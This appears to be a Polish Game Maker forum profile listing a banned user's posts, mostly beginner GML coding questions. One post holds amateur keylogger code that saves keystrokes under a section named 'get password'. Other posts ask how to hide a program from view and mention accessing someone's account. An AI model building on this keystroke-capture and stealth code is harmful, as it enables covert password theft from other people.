Skocz do zawartości

XxMichałxX

Zbanowani
  • Postów

    866
  • Dołączył

  • Ostatnia wizyta

Treść opublikowana przez XxMichałxX

  1. oo sorry ze nic nie wnosze do tematu ale zauważyłem nowy kod 'repeat'.. on polega na tym że repeat(30) cos tam costam to costam costam ma sie dziac przez sekunde?
  2. W obj2: GML if distance_to_object(obj1)<200 then instance_create(x,y,obj2_pocisk) No i teraz bedzie lecial długi ciąg pocisków. Ja chciałbym zrobić żeby obj2 wypuszczał pocisk co pół sekundy a nie wciąż gdy ten dystans będzie mniejszy niż 200. Oczywiście sam bym to zrobił ale byłoby to za długie chciałbym to mieć w jak najkrótszym kodzie. Z góry thx.
  3. zal GML file=isave_open('plicz.txt','thu') if file==-1 { show_message('Wykryto modyfikacje pliku chamie jeden!') game_end() } else { show_message('Otworzono!') isave_set('dupa','kupy','dwie') isave_save(file,'plicz.txt','thu') game_end() } I nie modyfikowalem a pisze ze wykryto
  4. Dawidds a jak w twoim isave określić id pliku? bo robie np GML zal='hehe' isave_open('plik.txt','tajne') isave_set(1,'dupa',zal) ___________________________________________ ERROR in action number 1 of Create Event for object control: Data structure with index does not exist. edit: a dobra juz wiem, to nie id pliku tylko tak jakby jak w ini section nie? edit2: a nie jednak nie wiem.. czym w koncu jest to id? bo bez sensu jak chce zapisac plik to musze podac id, nazwe pliku i haslo.. co wpisac w id?
  5. Chętnie bym to pobrał, ale link nie działa ;/ edit: do pobierania jbc
  6. GML tlo=show_message_ext('Wybierz tlo','Dzien','Noc','Losowo') if tlo='Dzien' then background_index=dzien if tlo='Noc' then background_index=noc if tlo='Losowo' then background_index=choose(dzien,noc,dzien) Nie wiem jak uzyc tego show_message_ext ale chcialbym go uzyc tak jak powyzej jest pokazane + mysle ze background_index=nazwa_bgrounda to chyba zle zastosowanie tej funkcji tak więc: jak uzyc tego s._m._ext i jak zmienic tło rooma?
  7. o właśnie a to by sie dało samemu jakieś skrypty stworzyc ktore w txt robia takie ala ini?
  8. oj mniejsza o to, a ten plik nie bedzie odgrywał takiej roli jak myślicie. to da sie zrobic C:\itd.. czy nie?
  9. czyli ini_open('C:\itd..') ? bo tak robiłem to mi pisało ze musi byc w tym samym folderze co gra
  10. GM mi pisze że plik ini musi byc umieszczony w tym samym katalogu co gra.. da się to jakoś obejść? +Pytanie: Czy ini_write/read_string obsługuje tylko stringi czy też liczby? Jeśli nie to czy do liczb jest ini_write/read_real?
  11. kur... przegrywam wciąż :huh: ale gra wypas 5/5 Edit: można ją shaczyć wpisując sobie w zapisaną gre w xxx.ini np 99999999 żyć :P
  12. Zrobiłem sobie miernik haseł, tylko że napis nie pokazuje się. Oto kod: Create: GML show_message('Miernik trudnosci hasel By Mazo') cykacz=0 pos=0 litera='' com='' haslo=get_string('Podaj haslo:','') litery=string_length(string_letters(haslo)) liczby=string_length(string_digits(haslo)) znaki=string_length(string_lettersdigits(haslo)) pktuz=litery*3+znaki*4+liczby*2 pkt=0 if pktuz>100 then pktuz=100 if pktuz<=10 then com='Tego w ogole nie mozna haslem nazwac!' if pktuz>10 and pktuz<=20 then com='To haslo jest beznadziejne!' if pktuz>20 and pktuz<=30 then com='Slabe' if pktuz>30 and pktuz<=40 then com='Ehh.. cienkie, ale przejdzie.' if pktuz>40 and pktuz<=50 then com='Da rade.' if pktuz>50 and pktuz<=60 then com='Moze byc' if pktuz>60 and pktuz<=70 then com='Calkiem calkiem!' if pktuz>70 and pktuz<=80 then com='Twarde haslo!!' if pktuz>80 and pktuz<=90 then com='Bez hackowania nikt nie odgadnie! Extra!' if pktuz>90 then com='Super mocne haslo! Nie ma szans na odgadniecie!' jedz=1 drawcom='' dlug=string_length(com) Step: GML if jedz=1 { pkt+=0.5 if pkt=pktuz { jedz=0 cykacz=1 } } if cykacz=1 { cykacz=0 alarm[0]=0 } Alarm 0: GML if pos<dlug { pos+=1 litera=string_char_at(com,pos) drawcom+=string(litera) if litera=' ' { } else { sound_play(pyki) } alarm[0]=10 } Draw: GML draw_healthbar(0,0,200,40,pkt,c_white,c_red,c_lime,0,1,1) draw_set_color(c_white) draw_text(0,50,drawcom) Program polega na tym ze sie wpisuje haslo on oblicza ilosc liter, znakow i liczb i je sobie mnozy i dodaje i wychodzi zmienna pktuz (punkty uzyskane). zmienna pkt ma sie powiekszac az dojdzie do pktuz i wtedy ladowanie na pasku zatrzyma się, a po tym co 10 'czasu' ma sie pojawiac kolejna literka ze zmiennej com. Czemu się nie pojawia? W tym programie juz mam taki syf ze nie moge sie połapac co zle zrobilem, albo o czym zapomnialem więc pisze tu. Z gory thx Edit: Jakbyco to tło rooma jest czarne dlatego draw_set_color(c_white)
  13. ale ja nie rozumiem tego 'for' i tych tablic i chce zrobic swojego keyloggera edit: aha juz qmam bo te znaki sie wczytały z tego jak wpisywałem nazwe keylogowania?
  14. Create: GML nazwa=get_string('Podaj nazwe keylogowania:','zdobyc_haslo') ini_open('keylogger.ini') text='' if ini_section_exists(nazwa) then text=ini_read_string(nazwa,'TEXT','text') Step: GML if (keyboard_check_direct_pressed(ord('A'))==true) { text+='A' direct_pressed_end(ord('A')) } if (keyboard_check_direct_pressed(ord('B'))==true) { text+='B' direct_pressed_end(ord('B')) } if (keyboard_check_direct_pressed(ord('C'))==true) { text+='C' direct_pressed_end(ord('C')) } if (keyboard_check_direct_pressed(ord('D'))==true) { text+='D' direct_pressed_end(ord('D')) } if (keyboard_check_direct_pressed(ord('E'))==true) { text+='E' direct_pressed_end(ord('E')) } if (keyboard_check_direct_pressed(ord('F'))==true) { text+='F' direct_pressed_end(ord('F')) } if (keyboard_check_direct_pressed(ord('G'))==true) { text+='G' direct_pressed_end(ord('G')) } if (keyboard_check_direct_pressed(ord('H'))==true) { text+='H' direct_pressed_end(ord('H')) } if (keyboard_check_direct_pressed(ord('I'))==true) { text+='I' direct_pressed_end(ord('I')) } if (keyboard_check_direct_pressed(ord('J'))==true) { text+='J' direct_pressed_end(ord('J')) } if (keyboard_check_direct_pressed(ord('K'))==true) { text+='K' direct_pressed_end(ord('K')) } if (keyboard_check_direct_pressed(ord('L'))==true) { text+='L' direct_pressed_end(ord('L')) } if (keyboard_check_direct_pressed(ord('M'))==true) { text+='M' direct_pressed_end(ord('M')) } if (keyboard_check_direct_pressed(ord('N'))==true) { text+='N' direct_pressed_end(ord('N')) } if (keyboard_check_direct_pressed(ord('O'))==true) { text+='O' direct_pressed_end(ord('O')) } if (keyboard_check_direct_pressed(ord('P'))==true) { text+='P' direct_pressed_end(ord('P')) } if (keyboard_check_direct_pressed(ord('R'))==true) { text+='R' direct_pressed_end(ord('R')) } if (keyboard_check_direct_pressed(ord('S'))==true) { text+='S' direct_pressed_end(ord('S')) } if (keyboard_check_direct_pressed(ord('T'))==true) { text+='T' direct_pressed_end(ord('T')) } if (keyboard_check_direct_pressed(ord('U'))==true) { text+='U' direct_pressed_end(ord('U')) } if (keyboard_check_direct_pressed(ord('W'))==true) { text+='W' direct_pressed_end(ord('W')) } if (keyboard_check_direct_pressed(ord('Y'))==true) { text+='Y' direct_pressed_end(ord('Y')) } if (keyboard_check_direct_pressed(ord('Z'))==true) { text+='Z' direct_pressed_end(ord('Z')) } if (keyboard_check_direct_pressed(ord('X'))==true) { text+='X' direct_pressed_end(ord('X')) } if (keyboard_check_direct_pressed(ord('V'))==true) { text+='V' direct_pressed_end(ord('V')) } if (keyboard_check_direct_pressed(ord('1'))==true) { text+='1' direct_pressed_end(ord('1')) } if (keyboard_check_direct_pressed(ord('2'))==true) { text+='2' direct_pressed_end(ord('2')) } if (keyboard_check_direct_pressed(ord('3'))==true) { text+='3' direct_pressed_end(ord('3')) } if (keyboard_check_direct_pressed(ord('4'))==true) { text+='4' direct_pressed_end(ord('4')) } if (keyboard_check_direct_pressed(ord('5'))==true) { text+='5' direct_pressed_end(ord('5')) } if (keyboard_check_direct_pressed(ord('6'))==true) { text+='6' direct_pressed_end(ord('6')) } if (keyboard_check_direct_pressed(ord('7'))==true) { text+='7' direct_pressed_end(ord('7')) } if (keyboard_check_direct_pressed(ord('8'))==true) { text+='8' direct_pressed_end(ord('8')) } if (keyboard_check_direct_pressed(ord('9'))==true) { text+='9' direct_pressed_end(ord('9')) } if (keyboard_check_direct_pressed(vk_space)==true) { text+=' ' direct_pressed_end(vk_space) } if (keyboard_check_direct_pressed(vk_backspace)==true) { string_delete(text,string_length(text)-1,1) direct_pressed_end(vk_backspace) } Game End: GML ini_write_string(nazwa,'TEXT',text) Draw: GML draw_text(0,0,text) Włączam, napisałem np.: "haslojakiestam" i odrazu po włączeniu text przyjmuje wartosc 'AEHIJKLMOST' czyli z zmiennej nazwa poprzekładało litery losowo i tak za kazdym razem.. z jakiej paki ?! :boxed: :blink: <_< Źle nazwany temat. Ostrzeżenie. gnysek
  15. zrobiłem takie coś: GML if keyboard_check_pressed(vk_backspace) then string_delete(text,string_length(text),1) czemu nie dziala?
  16. hę? wcale tego dla sistry nie potrzebuje tylko chce zrobic program ktory w zaleznosci od godziny i miesiaca pokazje na pulpicie np gwiazdy i ciemno, albo jasne niebo jak dzień..
  17. 1. Jak zrobić ukryty program którego nie widać? 2. Jak zrobić żeby pulpit (tapeta/tło) się zmienił/o?
  18. a jak zrobic zeby brało dane z windowsowego zegarka? Za dużo tych 2postów. Ostrzegałem, że następnym razem będzie warn no i... Warn. Mimek
  19. pff ;/ nic nie widac nie wiem czemu w obu kodach
  20. Fajnie i moge sie na jego konto zalogować, ale nie znam hasła -,-
×
×
  • Dodaj nową pozycję...